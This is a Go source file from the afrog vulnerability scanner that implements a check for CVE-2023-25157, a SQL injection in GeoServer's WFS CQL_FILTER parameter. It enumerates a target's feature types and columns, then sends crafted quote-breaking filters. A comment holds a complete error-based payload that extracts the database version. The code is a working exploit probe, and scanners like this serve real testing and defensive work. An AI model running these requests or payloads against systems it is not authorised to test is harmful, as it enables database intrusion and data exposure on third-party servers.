package gox

import (
	"encoding/xml"
	"fmt"
	"net/http"
	"net/url"
	"regexp"
	"strings"
	"time"

	"github.com/zan8in/afrog/v3/pkg/protocols/http/retryhttpclient"
)

type WFS_Capabilities struct {
	Version          string `xml:"version,attr"`
	SchemaLocation   string `xml:"schemaLocation,attr"`
	Service          Service
	Capability       Capability
	FeatureTypes     []FeatureType    `xml:"FeatureTypeList>FeatureType"`
	ServiceException ServiceException `xml:"http://www.opengis.net/ogc ServiceException"`
}

type Service struct {
	Name              string `xml:"Name"`
	Title             string `xml:"Title"`
	Abstract          string `xml:"Abstract"`
	Keywords          string `xml:"Keywords"`
	OnlineResource    string `xml:"OnlineResource"`
	Fees              string `xml:"Fees"`
	AccessConstraints string `xml:"AccessConstraints"`
}

type Capability struct {
	Request GetCapabilitiesRequest `xml:"Request"`
}

type GetCapabilitiesRequest struct {
	Get  HTTPGet  `xml:"Get"`
	Post HTTPPost `xml:"Post"`
}

type HTTPGet struct {
	OnlineResource string `xml:"onlineResource,attr"`
}

type HTTPPost struct {
	OnlineResource string `xml:"onlineResource,attr"`
}

type FeatureType struct {
	Name               string             `xml:"Name"`
	Title              string             `xml:"Title"`
	Abstract           string             `xml:"Abstract"`
	Keywords           string             `xml:"Keywords"`
	SRS                string             `xml:"SRS"`
	LatLongBoundingBox LatLongBoundingBox `xml:"LatLongBoundingBox"`
}

type LatLongBoundingBox struct {
	MinX string `xml:"minx,attr"`
	MinY string `xml:"miny,attr"`
	MaxX string `xml:"maxx,attr"`
	MaxY string `xml:"maxy,attr"`
}

type ServiceException struct {
	XMLName xml.Name `xml:"http://www.opengis.net/ogc ServiceException"`
	Text    string   `xml:",chardata"`
}

func CVE_2023_25157(target string, variableMap map[string]any) error {
	var (
		err error

		responseResult string
	)

	variableMap["request"] = nil
	variableMap["response"] = nil

	parsedURL, err := url.Parse(target)
	if err != nil {
		return err
	}

	requestURL := parsedURL.String() + "/geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities"

	body, _, err := retryhttpclient.GetTimeout(requestURL, time.Duration(6)*time.Second)
	if err != nil {
		return err
	}

	wfsCapabilities := WFS_Capabilities{}
	err = xml.Unmarshal(body, &wfsCapabilities)
	if err != nil {
		return err
	}

	responseResult += fmt.Sprintf("Schema Location: %s\n", wfsCapabilities.SchemaLocation)
	responseResult += fmt.Sprintf("Service Name: %s\n", wfsCapabilities.Service.Name)
	responseResult += fmt.Sprintf("Service Online Resource: %s\n", wfsCapabilities.Service.OnlineResource)

	for _, featureType := range wfsCapabilities.FeatureTypes {
		responseResult += fmt.Sprintf("Databases Names: %s\n", featureType.Name)
	}

	fulltarget := ""
	num := 0
	for _, featureType := range wfsCapabilities.FeatureTypes {
		if num >= 20 {
			break
		}

		result, err := getTypeName(parsedURL.String(), featureType.Name, 10)
		if err != nil {
			continue
		}

		resultSlice := UniqueSlice(result)
		if len(resultSlice) > 0 {
			for _, v := range resultSlice {

				body, url, err := checkCQLFilter(parsedURL.String(), featureType.Name, v)
				if err == nil {
					responseResult += body
					fulltarget = url
					num = 20
					break
				}

				num++
			}
		}

	}

	setResponse(responseResult, variableMap)
	setRequest(fulltarget, variableMap)
	setTarget(target, variableMap)
	setFullTarget(fulltarget, variableMap)

	return err
}

func checkCQLFilter(endpointURL string, typeName string, column string) (string, string, error) {

	// payload: /geoserver/ows?CQL_FILTER=strStartswith(boundary_line,%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+version()%29+AS+INTEGER%29%29+--+%27%29+%3D+true&service=WFS&version=1.0.0&request=GetFeature&typeName=LYGL_NanYang_Work:view_DivisionBoundaryLine_YX
	endpoint := fmt.Sprintf("/geoserver/ows?CQL_FILTER=strStartswith(%s,%27%27%27%27%27%27%27%27)=true&service=WFS&version=1.0.0&request=GetFeature&typeName=%s", column, typeName)

	body, statusCode, err := retryhttpclient.GetTimeout(endpointURL+endpoint, time.Duration(6)*time.Second)
	if err != nil {
		return "", "", err
	}

	if statusCode != http.StatusOK {
		return "", "", fmt.Errorf("unexpected status code: %d", statusCode)
	}

	if strings.Contains(string(body), "SQL SELECT") {
		return string(body), endpointURL + endpoint, nil
	}

	return "", "", fmt.Errorf("result is not a correctly")

}

func getTypeName(endpointURL string, typeName string, maxFeatures int) ([]string, error) {

	endpoint := fmt.Sprintf("/geoserver/ows?service=WFS&version=1.0.0&request=GetFeature&typeName=%s&maxFeatures=50&outputFormat=csv", typeName)

	body, statusCode, err := retryhttpclient.GetTimeout(endpointURL+endpoint, time.Duration(6)*time.Second)
	if err != nil {
		return []string{}, err
	}

	if statusCode != http.StatusOK {
		return []string{}, fmt.Errorf("unexpected status code: %d", statusCode)
	}

	resultSlice := []string{}

	pattern := `FID,([aA-zZ_]+),`

	regExp, err := regexp.Compile(pattern)
	if err != nil {
		return []string{}, err
	}

	matches := regExp.FindAllStringSubmatch(string(body), -1)

	for _, match := range matches {
		for i, group := range match {
			if i == 1 {
				resultSlice = append(resultSlice, group)
			}
		}
	}

	return UniqueSlice(resultSlice), nil

}

func UniqueSlice(original []string) []string {
	seen := make(map[string]bool)

	uniqueSlice := []string{}

	for _, str := range original {
		if !seen[str] {
			uniqueSlice = append(uniqueSlice, str)
			seen[str] = true
		}
	}

	return uniqueSlice
}

func init() {
	funcMap["CVE-2023-25157"] = CVE_2023_25157
}
